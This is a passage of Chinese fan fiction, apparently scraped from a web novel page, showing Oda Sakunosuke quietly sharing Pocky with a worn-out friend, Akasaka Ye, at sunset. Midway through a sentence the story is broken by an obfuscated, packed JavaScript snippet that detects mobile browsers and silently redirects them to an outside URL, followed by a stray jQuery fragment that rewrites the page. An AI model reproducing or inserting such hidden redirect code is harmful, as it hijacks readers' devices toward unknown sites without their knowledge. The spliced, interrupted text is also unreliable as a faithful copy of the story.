想找麻烦的家伙后,才终于有了个能喘口气的机会。
今天晚霞不错,空中有云,被染成了绚烂的颜色。太阳已经落山了一半,光线不算刺眼,于是赤坂冶就这么懒洋洋地坐在花坛跟前,盯着路边收拾着店铺准备下班的居民,感受着血条慢慢回升的感觉。
织田作之助就是这个时候看到他的。
明明头发有些凌乱、衬衫上还带着血,但赤坂冶坐在那晒太阳的样子半点不显得狼狈与落寞,微微眯眼享受的样子更像是在假寐的狮子。
织田作之助结了账,走出便利店,提着手里的塑料袋向他走去。
还未靠近,赤坂冶就已经不经意地扫过来一眼。织田作之助对此毫不意外。
“好久不见。”
他在赤坂冶身边坐下。
赤坂冶慢吞吞又把脑袋拧回来,懒洋洋地不动弹,也没搭理他。
织田作之助拎起手里的塑料袋,将一盒pocky拆开、撕开里面的塑料包装,放到赤坂冶手边,然后又拿出了自己刚买的三明治,就坐在花坛边吃了起来。
织田作之助进食的时候很安静,赤坂冶只能听到细微的动静。有条不紊的节奏让人内心逐渐平静下来,赤坂冶只是静静听着,就感觉心情好了一些。
好半天,他才摸出一根pocky叼进嘴里,像是叼烟那样,半死不活地叹了一声:“……织田。”
他的鼻音有点重,应该是感冒了。
以他的身体素质都能感冒,看起来他最近过得确实不怎么样,织田作之助想。
“你怎么回来了?”他这才问。
“被……找麻烦了。”赤坂冶牙齿前后错了下,磨了磨齿间叼着的pocky,含混又懒散地说。
织田作之助一听就明白了他的意思。
他这位友人在某些方面似乎相当受欢迎,织田作之助甚至曾经假扮他男朋友帮他解围过。
他没有追问,只是提出:“要帮忙吗?”
“不用。”
赤坂冶耷拉着肩,提不起半点兴趣。
他懒懒地说:“随他去吧,他开心就好。”
“好。”织田作之助平静地应了一声,没对赤坂冶使用的那个男性代称发表什么意见。
他吃完了三明治,就拿起那包pocky,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025556|162237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和赤坂冶分食起来。
从他看到赤坂冶、坐在他身边开始,这两个人的语调就都平稳得不可思议,全程表情都淡淡的。他们两人安静地坐在那,在静谧的氛围中,只有巧克力味的夹心pocky在以惊人的速度被消耗。
直到有路人说笑着经过,好奇地偏头看了他们两人一眼,织田作之助才恍惚想起了什么。
“说起来……”织田作之助的语气带了点些微的疑惑,“之前那个女孩子呢?”
赤坂冶:“……”
赤坂冶面无表情地咔嚓咔嚓咬着零食。